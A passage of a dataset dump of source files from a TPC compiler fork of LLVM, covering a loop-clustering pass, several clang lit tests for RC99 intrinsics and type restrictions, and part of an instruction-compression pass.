\"recursive cluster marking failed, exiting ...\")\n return false;\n }\n }\n }\n // OutInst should not be retained in the set of UnclusteredInstructions\n UnclusteredInstructions.erase(OutInst);\n }\n\n CLUSTER_INFO_DEBUG(DebugTag << \"Mapping unique clusters ...\")\n // retain only the actual roots as cluster ids, and get a mapping from each\n // instruction to it's final cluster idx\n NumClusters = ClusterUF.mapUniqueNodes(ClusterRootMap);\n\n return true;\n}\n\nvoid IterationClusterizer::populateClusterInfo(\n InstNumMapType &InstBBNumMap, InstructionVecType &OutInstList,\n ClusterInfoVecType &LoopClusters) {\n assert(NumClusters == LoopClusters.size() &&\n \"Invalid function invocation : LoopClusters size should match the \"\n \"number of clusters\");\n\n unsigned N = OutInstList.size();\n for (unsigned i = 0; i < N; i++) {\n Instruction *OutInst = OutInstList[i];\n unsigned ClusterIdx = ClusterRootMap[i];\n auto &ClusterOutInstsVec =\n (IsAccumulationLoop ? LoopClusters[ClusterIdx]->HeaderAccumInstsVec\n : LoopClusters[ClusterIdx]->HeaderStoreInstsVec);\n ClusterOutInstsVec.push_back(OutInst);\n }\n\n // populate vectors of load insts\n for (auto LoadInst : HeaderLoadInstsSet) {\n unsigned ClusterIdx = ClusterRootMap[InstClusterMap[LoadInst]];\n LoopClusters[ClusterIdx]->HeaderLoadInstsVec.push_back(LoadInst);\n }\n\n // populate vectors of compute insts\n for (auto ComputeInst : HeaderComputeInstsSet) {\n unsigned ClusterIdx = ClusterRootMap[InstClusterMap[ComputeInst]];\n LoopClusters[ClusterIdx]->HeaderComputeInstsVec.push_back(ComputeInst);\n }\n\n for (unsigned ClusterIdx = 0; ClusterIdx < NumClusters; ClusterIdx++) {\n sort(LoopClusters[ClusterIdx]->HeaderLoadInstsVec.begin(),\n LoopClusters[ClusterIdx]->HeaderLoadInstsVec.end(),\n [&](Instruction *I1, Instruction *I2) -> bool {\n return InstBBNumMap[I1] < InstBBNumMap[I2];\n });\n sort(LoopClusters[ClusterIdx]->HeaderComputeInstsVec.begin(),\n LoopClusters[ClusterIdx]->HeaderComputeInstsVec.end(),\n [&](Instruction *I1, Instruction *I2) -> bool {\n return InstBBNumMap[I1] < InstBBNumMap[I2];\n });\n }\n}\n\nvoid IterationClusterizer::collectAccumulatorPhis(\n InstructionSetType &AccumPhis, InstInstMapType &AccumToPhiMap,\n std::string DebugTag) {\n CLUSTER_INFO_DEBUG(DebugTag << \"Collecting Accumulator Phis\")\n Type *T5xi32 =\n VectorType::get(Type::getInt32Ty(HeaderBlock->getContext()), 5);\n for (auto &PhiNode : HeaderBlock->phis()) {\n Instruction *I = cast<Instruction>(&PhiNode);\n CLUSTER_INFO_DEBUG(DebugTag << *I)\n // the phi must have a incoming value from Header block\n auto *HeaderIncome = PhiNode.getIncomingValueForBlock(HeaderBlock);\n if (!HeaderIncome) {\n CLUSTER_INFO_DEBUG(\n DebugTag << \"\\tNot an AccumPhi - No incoming value from Header block\")\n continue;\n }\n // skip coord phis\n if (T5xi32 == HeaderIncome->getType()) {\n CLUSTER_INFO_DEBUG(DebugTag << \"\\tNot an AccumPhi - is a Coord Phi\")\n continue;\n }\n // skip induction phis\n if (InductionDescriptor::isInductionPHI(&PhiNode, WorkingLoop, SE,\n InductionDesc)) {\n CLUSTER_INFO_DEBUG(DebugTag << \"\\tNot an AccumPhi - is an InductionPhi\")\n continue;\n }\n\n // is an accumulator phi\n CLUSTER_INFO_DEBUG(DebugTag << \"\\t- is an AccumPhi\")\n AccumPhis.insert(I);\n AccumToPhiMap.insert(std::make_pair(I, I));\n }\n return;\n}\n\nbool IterationClusterizer::markAccumulatorInsts(\n InstructionVecType &HeaderAccumList, InstructionSetType &AccumPhis,\n InstInstMapType &AccumToPhiMap, std::string DebugTag) {\n CLUSTER_INFO_DEBUG(DebugTag << \"Marking accumulator instructions ...\")\n for (auto AccumPhi : AccumPhis) {\n CLUSTER_INFO_DEBUG(DebugTag << \"AccumPhi = \" << *AccumPhi)\n Instruction *CurAccum = AccumPhi;\n while (CurAccum) {\n Instruction *NextAccum = nullptr;\n CLUSTER_INFO_DEBUG(DebugTag << \"CurAccum = \" << *CurAccum)\n for (auto User : CurAccum->users()) {\n Instruction *UserInst = cast<Instruction>(User);\n // ignore all Phis, and the Insts of other basic blocks\n if (dyn_cast<PHINode>(UserInst) || UserInst->getParent() != HeaderBlock)\n continue;\n if (NextAccum) { // if already the next accum was found\n CLUSTER_INFO_DEBUG(\n DebugTag\n << \"Multiple uses of Accum Phi not handled yet, exiting ...\")\n return false;\n }\n NextAccum = UserInst;\n }\n\n if (NextAccum) {\n CLUSTER_INFO_DEBUG(DebugTag << \"NextAccum = \" << *NextAccum)\n HeaderAccumList.push_back(NextAccum);\n AccumToPhiMap.insert(std::make_pair(NextAccum, AccumPhi));\n }\n CurAccum = NextAccum;\n }\n }\n return true;\n}\n\nbool IterationClusterizer::classifyInstructions(\n InstructionVecType &HeaderStoreList, InstructionVecType &HeaderLoadList,\n InstructionVecType &HeaderAccumList,\n InstructionSetType &UnclusteredInstructions, InstNumMapType &InstBBNumMap,\n InstructionSetType &AccumPhis, InstInstMapType &AccumToPhiMap,\n std::string DebugTag) {\n // start collecting the stores from the last instruction\n CLUSTER_INFO_DEBUG(DebugTag\n << \"Categorizing the HeaderBlock instructions ...\")\n unsigned count = 0;\n for (Instruction &Inst : *HeaderBlock) {\n auto *I = &Inst;\n if (TPCOptUtils::isStoreTensor(I)) {\n CLUSTER_INFO_DEBUG(DebugTag << \"{ Store }\" << *I)\n HeaderStoreList.push_back(I);\n } else if (TPCOptUtils::isLoadTensor(I)) {\n CLUSTER_INFO_DEBUG(DebugTag << \"{ Load }\" << *I)\n HeaderLoadList.push_back(I);\n UnclusteredInstructions.insert(I);\n } else {\n CLUSTER_INFO_DEBUG(DebugTag << \"{ Compute }\" << *I)\n UnclusteredInstructions.insert(I);\n }\n InstBBNumMap.insert(std::make_pair(&Inst, count));\n count += 1;\n }\n\n if (SkipIfZeroLoadTensors && HeaderLoadList.size() == 0) {\n CLUSTER_INFO_DEBUG(\n DebugTag << \"No 'LoadTensor' instructions were found. exiting ...\")\n return false;\n }\n\n if (!HeaderStoreList.size()) {\n // probably a reduction loop\n // check for accumulators\n collectAccumulatorPhis(AccumPhis, AccumToPhiMap, DebugTag + \"\\t\");\n if (!AccumPhis.size()) {\n CLUSTER_INFO_DEBUG(\n DebugTag << \"Non-accumulator loop not yet supported, exiting ...\")\n return false;\n }\n IsAccumulationLoop = true;\n if (!markAccumulatorInsts(HeaderAccumList, AccumPhis, AccumToPhiMap,\n DebugTag + \"\\t\")) {\n CLUSTER_INFO_DEBUG(\n DebugTag << \"Accumulator instruction marking failed, exiting ...\")\n return false;\n }\n }\n return true;\n}\n\nbool IterationClusterizer::clusterInstructions(\n InstructionVecType &HeaderStoreList, InstructionVecType &HeaderLoadList,\n InstructionVecType &HeaderAccumList,\n InstructionSetType &UnclusteredInstructions, InstNumMapType &InstBBNumMap,\n InstructionSetType &AccumPhis, InstInstMapType &AccumToPhiMap,\n ClusterInfoVecType &LoopClusters, std::string DebugTag) {\n\n if (ShouldDetectPipelinedLoads && !PreheaderBlock) {\n CLUSTER_INFO_DEBUG(DebugTag << \"Invalid Preheader block, exiting ...\")\n return false;\n }\n\n auto &OutInstList =\n (getIsAccumulationLoop() ? HeaderAccumList : HeaderStoreList);\n if (!markClustersForInsts(InstBBNumMap, OutInstList, AccumToPhiMap,\n UnclusteredInstructions)) {\n CLUSTER_INFO_DEBUG(\n DebugTag << \"Marking Clusters for Instruction failed, exiting ...\")\n return false;\n }\n CLUSTER_INFO_DEBUG(DebugTag << \"Number of Clusters Found = \"\n << getNumClusters())\n\n if (getNumClusters() < 1) {\n CLUSTER_INFO_DEBUG(DebugTag << \"No cluster was identifed, exiting ...\")\n return false;\n }\n\n if (PopulateIfMultiCluster && getNumClusters() == 1) {\n CLUSTER_INFO_DEBUG(DebugTag << \"Single cluster found, exiting ...\")\n return false;\n }\n\n for (unsigned C = 0; C < getNumClusters(); C++)\n LoopClusters.push_back(new ClusterInfo());\n populateClusterInfo(InstBBNumMap, OutInstList, LoopClusters);\n\n return true;\n}\n\nbool IterationClusterizer::classifyAndClusterize(\n ClusterInfoVecType &LoopClusters, InstructionVecType &HeaderStoreList,\n InstructionVecType &HeaderLoadList,\n InstructionSetType &UnclusteredInstructions, InstructionSetType &AccumPhis,\n InstInstMapType &AccumToPhiMap) {\n std::string DebugTag = \"<classifyAndClusterize> \";\n\n // HeaderAccumList is a temporary container to hold the list of all\n // accumulator instructions of the loop\n InstructionVecType HeaderAccumList;\n\n // InstBBNumMap is a mapping from Instruction to it's original relative\n // position (unsigned) within the block, which will be first populated by the\n // classifier, and then consumed by clusterizer to sort the Instructions\n // within the cluster-info object in the original order.\n InstNumMapType InstBBNumMap;\n\n if (!classifyInstructions(HeaderStoreList, HeaderLoadList, HeaderAccumList,\n UnclusteredInstructions, InstBBNumMap, AccumPhis,\n AccumToPhiMap, DebugTag + \"\\t\")) {\n CLUSTER_INFO_DEBUG(DebugTag\n << \"Could not classify Instructions, exiting ...\")\n return false;\n }\n\n if (!clusterInstructions(HeaderStoreList, HeaderLoadList, HeaderAccumList,\n UnclusteredInstructions, InstBBNumMap, AccumPhis,\n AccumToPhiMap, LoopClusters, DebugTag + \"\\t\")) {\n CLUSTER_INFO_DEBUG(DebugTag\n << \"Could not clusterize Instructions, exiting ...\")\n return false;\n }\n\n // print cluster debug info\n LLVM_DEBUG(IterationClusterizer::dumpClusterInfo(LoopClusters,\n UnclusteredInstructions););\n\n return true;\n}\n\nbool IterationClusterizer::classifyAndClusterize(\n ClusterInfoVecType &LoopClusters) {\n // HeaderStoreList and HeaderLoadList are temporary containers to hold the\n // list of all store and load instructions of the loop, resp.\n InstructionVecType HeaderStoreList;\n InstructionVecType HeaderLoadList;\n // UnclusteredInstructions is a set of Instruction used to hold all loop\n // instructions that do not belong to any cluster\n // These could be any loop structure instructions like branching, induction,\n // coord updates etc.\n InstructionSetType UnclusteredInstructions;\n // This set is used to collect all the accumulator phis in the loop\n InstructionSetType AccumPhis;\n // This is a map from an accumulator instructions to it's origin accumulator\n // Phi\n InstInstMapType AccumToPhiMap;\n\n return classifyAndClusterize(LoopClusters, HeaderStoreList, HeaderLoadList,\n UnclusteredInstructions, AccumPhis,\n AccumToPhiMap);\n}\n\n#undef DEBUG_TYPE\n" }, { "alpha_fraction": 0.5089939832687378, "alphanum_fraction": 0.5729513764381409, "avg_line_length": 36.97468185424805, "blob_id": "8f48c1c5eef8435d2c1f076455d7737da43ca5de", "content_id": "25751bd7e4fac2376fd87e377f74356dc62731e3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3002, "license_type": "permissive", "max_line_length": 85, "num_lines": 79, "path": "/clang/test/RC99/Intrinsics/v_convert_i32_to_u8.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int dest, int src1, int vpredp, _Bool pred) {\n volatile uchar256 __local *dest_ptr = (uchar256 __local *)dest;\n int64 __local *src_ptr = (int64 __local *)src1;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n int64 x = *src_ptr++;\n bool256 vpred = *vpred_ptr++;\n uchar256 income = *dest_ptr;\n\n// CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // v_convert_i32_to_u8_b\n {\n uchar256 res = income;\n\n res = v_convert_i32_to_u8_b(x, 1, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=1 target_type=uint8 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_i32_to_u8_b(x, 2, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=2 target_type=uint8 rhne [[DEST]], [[SRC]], [[PRED]]\n res = v_convert_i32_to_u8_b(x, 3, 0, res, pred, 1);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=3 target_type=uint8 rhne [[DEST]], [[SRC]], ![[PRED]]\n\n res = v_convert_i32_to_u8_b(x, 2, SW_RHNE, res, 1, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=2 target_type=uint8 rhne [[DEST]], [[SRC]], %SP0\n \n res = v_convert_i32_to_u8_b(x, 1, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=1 target_type=uint8 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_i32_to_u8_b(x, 2, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=2 target_type=uint8 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_i32_to_u8_b(x, 3, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=3 target_type=uint8 rhne [[DEST]], [[SRC]], [[PRED]]\n income = res;\n }\n\n // v_convert_i32_to_u8_vb\n {\n uchar256 res = income;\n\n res = v_convert_i32_to_u8_vb(x, 1, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=1 target_type=uint8 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_i32_to_u8_vb(x, 2, SW_RHNE, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=2 target_type=uint8 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_i32_to_u8_vb(x, 3, 0, res, to_bool64(vpred), 1);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=3 target_type=uint8 rhne [[DEST]], [[SRC]], ![[VPRED]]\n\n res = v_convert_i32_to_u8_vb(x, 1, SW_RHNE, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=1 target_type=uint8 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_i32_to_u8_vb(x, 2, SW_RHNE, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=2 target_type=uint8 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_i32_to_u8_vb(x, 3, SW_RHNE, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.i32 lane_sel=3 target_type=uint8 rhne [[DEST]], [[SRC]], [[VPRED]]\n income = res;\n }\n}\n\n\n" }, { "alpha_fraction": 0.6044921875, "alphanum_fraction": 0.658203125, "avg_line_length": 19.479999542236328, "blob_id": "21bb1c9d86d7672eb42e32dae7e5b59854a2a6c5", "content_id": "1f7dfb73f8ee9a37a358a2d82e1871401736cb07", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1024, "license_type": "permissive", "max_line_length": 95, "num_lines": 50, "path": "/clang/test/RC99/restrictions/record-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nstruct S1 {\n int F1;\n int64 F2; // expected-error{{all field types must have either vector or static allocation}}\n};\n\nstruct S2 {\n int64 F1;\n int F2; // expected-error{{all field types must have either vector or static allocation}}\n};\n\nstruct S3 {\n int F1;\n float F2;\n int __local *F3;\n int64 __local *F4;\n int5 F5;\n};\n\nstruct S4 {\n int64 __local *F1;\n int64 F2; // expected-error{{all field types must have either vector or static allocation}}\n};\n\nunion U1 {\n int F1;\n int64 F2; // expected-error{{all field types must have either vector or static allocation}}\n};\n\nstruct U2 {\n int64 F1;\n int F2; // expected-error{{all field types must have either vector or static allocation}}\n};\n\nstruct U3 {\n int F1;\n float F2;\n int __local *F3;\n int64 __local *F4;\n int5 F5;\n};\n\nstruct U4 {\n int64 __local *F1;\n int64 F2; // expected-error{{all field types must have either vector or static allocation}}\n};\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.5414462089538574, "alphanum_fraction": 0.5820105671882629, "avg_line_length": 42.61538314819336, "blob_id": "36d5051ef2b05e084d4a173a6a850c7f89472f4b", "content_id": "5dcdbaf9e17ec3ff787eeea1a929b9bf4e44db60", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 567, "license_type": "permissive", "max_line_length": 139, "num_lines": 13, "path": "/clang/test/RC99/IntrinsicsM/st_l/b_st_l_s_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -mllvm -emit-index-factors=false -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -mllvm -emit-index-factors=false -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(unsigned dest, _Bool value) {\n b_st_l_s_b(dest, value, 0);\n b_st_l_s_b(dest+4, value, 1);\n}\n\n// CHECK: mov %SP[[PRED:[0-9]+]], %S1\n// CHECK: st_l %S0, %SP[[PRED]], %SP0\n// CHECK: st_l mmio %S{{[0-9]+}}, %SP[[PRED]], %SP0\n// CHECK-GEN3P: st_l mmio unlock %S{{[0-9]+}}, %SP[[PRED]], %SP0\n" }, { "alpha_fraction": 0.6117021441459656, "alphanum_fraction": 0.664893627166748, "avg_line_length": 30.33333396911621, "blob_id": "09af5c0e6d338b347b46023994047c6cbc12c2ff", "content_id": "690cae894d4fbe266373093b4bfcb8fdf4351add", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 188, "license_type": "permissive", "max_line_length": 65, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-08.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(bool predicate=0);\n\n// CHECK: line 3 error: Default argument of 'predicate' must be 1\n// CHECK: > int func_01(bool predicate=0);\n" }, { "alpha_fraction": 0.4256684482097626, "alphanum_fraction": 0.5433155298233032, "avg_line_length": 36.400001525878906, "blob_id": "b3b6fffaf234a196a4f5d4c6c4954f827dd22d8d", "content_id": "b2469eec2d7deba1738defdb14e6ef3a14e0b3b3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 935, "license_type": "permissive", "max_line_length": 233, "num_lines": 25, "path": "/clang/test/RC99/localizer/resolver-10.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s \n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nint64 gval[4] = { 0, 1, 2, 3 };\n\nvoid main(int x) {\n *(int64 __local *)x = gval[0];\n}\n\n\n// CHECK: define void @main(i32 %x) {{.*}} {\n// CHECK: store [4 x <64 x i32>] [<64 x i32> zeroinitializer, <64 x i32> <i32 1, i32 1, {{.*}}, i32 1>, <64 x i32> <i32 2, i32 2, {{.*}}, i32 2, i32 2>, <64 x i32> <i32 3, i32 3, {{.*}}, i32 3>], [4 x <64 x i32>] addrspace(2)* null\n\n\n// CHECK: !llvm.tpc.scalar_data = !{![[SSZ:[0-9]+]]}\n// CHECK: !llvm.tpc.vector_data = !{![[VSZ:[0-9]+]]}\n// CHECK: ![[SSZ]] = !{i32 0}\n// CHECK: ![[VSZ]] = !{i32 1024}\n\n\n// Initialization of global variable\n//\n// CHECK-ASM-DAG: mov.i32 [[REGV0:%V[0-9]+]], 0x3\n// CHECK-ASM-DAG: mov.i32 [[REGS0:%S[0-9]+]], 0x300\n// CHECK-ASM-DAG: st_l_v [[REGS0]], 0x0, [[REGV0]]\n" }, { "alpha_fraction": 0.6281338334083557, "alphanum_fraction": 0.6294019818305969, "avg_line_length": 27.957626342773438, "blob_id": "6a434c61e6d869e249d0b7da103fd5e37b902534", "content_id": "b5ee62fe01563aa00f526f5ecb9a274e0afcd3bc", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10251, "license_type": "permissive", "max_line_length": 96, "num_lines": 354, "path": "/llvm/lib/Target/TPC/TPCInstrCompress.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCInstrCompress.cpp ---- Instruction compression for TPC ---------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCMachineScheduler.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineScheduler.h\"\n#include \"llvm/CodeGen/ScheduleDAGMutation.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include \"llvm/Support/Debug.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpcinstcompress\"\n\nstatic cl::opt<bool> TPCInstCompress(\"tpc-compress\", cl::Hidden,\n cl::ZeroOrMore, cl::init(true),\n cl::desc(\"Enable compressed instruction format\"));\n\nstatic cl::opt<bool> TPCCompressJumps(\"tpc-compress-jumps\", cl::Hidden,\n cl::ZeroOrMore, cl::init(false),\n cl::desc(\"Allow compression of jump destinations\"));\n\nnamespace llvm {\n FunctionPass *createTPCInstrCompress();\n void initializeTPCInstrCompressPass(PassRegistry&);\n}\n\nnamespace {\n\nclass TPCInstrCompress : public MachineFunctionPass {\n\npublic:\n static char ID;\n TPCInstrCompress() : MachineFunctionPass(ID) {\n MLI = nullptr;\n MF = nullptr;\n ItinData = nullptr;\n TII = nullptr;\n TRI = nullptr;\n };\n void getAnalysisUsage(AnalysisUsage &AU) const override;\n bool runOnMachineFunction(MachineFunction &Fn) override;\n void processBB(MachineBasicBlock& MBB);\n\nprivate:\n MachineLoopInfo * MLI;\n MachineFunction * MF;\n const InstrItineraryData * ItinData;\n const TargetInstrInfo * TII;\n const TargetRegisterInfo * TRI;\n MachineInstr *prevMI;\n};\n\n}\n\nchar TPCInstrCompress::ID = 0;\n\nINITIALIZE_PASS_BEGIN(TPCInstrCompress, \"tpcinstcompress\", \"TPC Inst Compression\", false, false)\n INITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)\n INITIALIZE_PASS_DEPENDENCY(MachineBranchProbabilityInfo)\n INITIALIZE_PASS_DEPENDENCY(MachineLoopInfo)\n INITIALIZE_PASS_DEPENDENCY(MachineScheduler)\nINITIALIZE_PASS_END(TPCInstrCompress, \"tpcinstcompress\", \"TPC Inst Compression\", false, false)\n\n\nnamespace llvm {\nFunctionPass* createTPCInstrCompress() {\n return new TPCInstrCompress();\n}\n}\n\nvoid TPCInstrCompress::getAnalysisUsage(AnalysisUsage &AU) const {\n AU.setPreservesCFG();\n AU.addRequired<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n}\n\nbool TPCInstrCompress::runOnMachineFunction(MachineFunction &Fn) {\n MF = &Fn;\n TII = Fn.getSubtarget().getInstrInfo();\n ItinData = Fn.getSubtarget().getInstrItineraryData();\n TRI = Fn.getSubtarget().getRegisterInfo();\n MLI = &getAnalysis<MachineLoopInfo>();\n TRI = Fn.getSubtarget().getRegisterInfo();\n\n return false;\n\n LLVM_DEBUG(dbgs() << \"\\n*** TPC Inst Compression\\n\");\n\n prevMI = nullptr;\n\n for (auto &MBB : Fn) {\n LLVM_DEBUG(dbgs() << \"Processing BB#\" << MBB.getNumber() << \"\\n\");\n if (MBB.empty()) {\n continue;\n }\n processBB(MBB);\n }\n return true;\n}\n\n//\n// isNopInstr: returns true if MI is a full NOP instruction\n//\nstatic bool isNopInstr(const MachineInstr *MI) {\n if (MI->isBundle()) {\n const MachineBasicBlock* MBB = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr &BMI = *MII;\n if (!isNopInstr(&BMI)) {\n return false;\n }\n }\n return true;\n }\n else {\n if (MI->getOpcode() == TPC::NOPv ||\n MI->getOpcode() == TPC::NOPs ||\n MI->getOpcode() == TPC::NOPld ||\n MI->getOpcode() == TPC::NOPst) {\n return true;\n }\n }\n return false;\n}\n\nstatic bool isJmpInstr(const MachineInstr &MI,\n const MachineBasicBlock *&DestMBB) {\n if (MI.isBundle()) {\n const MachineBasicBlock* MBB = MI.getParent();\n MachineBasicBlock::const_instr_iterator MII = MI.getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr &BMI = *MII;\n if (isJmpInstr(BMI, DestMBB)) {\n return true;\n }\n }\n return false;\n } else {\n switch (MI.getOpcode()) {\n case TPC::JMPA:\n case TPC::JMPAr:\n case TPC::JMPR:\n case TPC::JMPR_u:\n case TPC::JMPRr:\n DestMBB = MI.getOperand(0).getMBB();\n assert(DestMBB);\n return true;\n default:\n return false;\n }\n }\n}\n\nstatic void rmOpcodeFromBundle(MachineInstr *MI, unsigned opcode) {\n const MachineBasicBlock* MBB = MI->getParent();\n MachineBasicBlock::instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n MachineInstr& BMI = *MII;\n\n if (BMI.getOpcode() == opcode) {\n MII->eraseFromBundle();\n return;\n }\n }\n}\n\nstatic bool isVpuInstrWithSrcCD(const MachineInstr &MI) {\n const MCInstrDesc &MC = MI.getDesc();\n if (!TPCII::isVPUInst(MC))\n return false;\n if (TPCII::getHasSrcC(MC) || TPCII::getHasSrcD(MC))\n return true;\n\n return false;\n}\n\nstatic bool isSrcCIsStoreSrcC(const MachineInstr &MI) {\n const MCInstrDesc &MC = MI.getDesc();\n if (!TPCII::isVPUInst(MC))\n return false;\n if (TPCII::getSrcCIsStoreSrcC(MC))\n return true;\n\n return false;\n}\n\n\nstatic bool maybeCompressInstr(MachineInstr *MI, bool doCompress) {\n if (!MI->isBundle()) {\n if (isNopInstr(MI)) {\n if (doCompress) {\n // Create a bundle with NOPv & NOPs\n MachineBasicBlock* MBB = MI->getParent();\n MachineFunction &MF = *MBB->getParent();\n const TargetSubtargetInfo &STI = MF.getSubtarget();\n const TargetInstrInfo *TII = STI.getInstrInfo();\n MIBundleBuilder Bundler(*MBB, MI);\n Bundler.append(BuildMI(MF, DebugLoc(), TII->get(TPC::NOPld)));\n Bundler.append(BuildMI(MF, DebugLoc(), TII->get(TPC::NOPst)));\n finalizeBundle(*MBB, Bundler.begin());\n MI->eraseFromParent();\n }\n return true;\n }\n return false;\n }\n bool hasVPU = false;\n bool hasSPU = false;\n bool hasLD = false;\n bool hasST = false;\n const MachineBasicBlock* MBB = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr& BMI = *MII;\n\n // Check for cross-slot instructions\n // Do not use TPCMCInstrInfo interface function (commented out below) for now\n // because it does not check for all possible opcodes (the list of the opcodes\n // is huge currently because we still have to support old formats)\n // if (TPCMCInstrInfo::isVpuInstrWithSrcCD(BMI.getOpcode())) {\n if (isVpuInstrWithSrcCD(BMI))\n return false;\n if (isSrcCIsStoreSrcC(BMI))\n return false;\n\n // Instructions that can be compressed (2 instructions in a single VLIW):\n // Instructions which are not JMPR/JMPA\n if (BMI.isTerminator()) {\n return false;\n }\n\n if (!isNopInstr(&BMI)) {\n if (TPCII::isVPUInst(BMI.getDesc()))\n hasVPU = true;\n else if (TPCII::isSPUInst(BMI.getDesc()))\n hasSPU = true;\n else if (TPCII::isLoadInst(BMI.getDesc()))\n hasLD = true;\n else if (TPCII::isStoreInst(BMI.getDesc()))\n hasST = true;\n }\n }\n if ((hasVPU || hasSPU) && (hasLD || hasST)) {\n // Cannot compress\n return false;\n }\n \n //\n // TODO: check for other extra bits?\n //\n\n\n //\n // Now we know that the bundle instruction is compressible, so we remove\n // two NOPs from this bundle leaving only two other instructions there.\n // The code emitter will know to compress a bundle with only two instructions.\n //\n if (doCompress) {\n if (hasVPU || hasSPU) {\n rmOpcodeFromBundle(MI, TPC::NOPld);\n rmOpcodeFromBundle(MI, TPC::NOPst);\n }\n else {\n rmOpcodeFromBundle(MI, TPC::NOPs);\n rmOpcodeFromBundle(MI, TPC::NOPv);\n }\n }\n \n return true;\n}\n\nvoid TPCInstrCompress::processBB(MachineBasicBlock& MBB) {\n MachineBasicBlock::iterator BegBB = MBB.begin();\n MachineBasicBlock::iterator EndBB = MBB.end();\n\n bool IsDestination = false;\n\n auto PredBBs = MBB.predecessors();\n for (MachineBasicBlock::const_pred_iterator PredBB = PredBBs.begin();\n (PredBB != PredBBs.end()) && 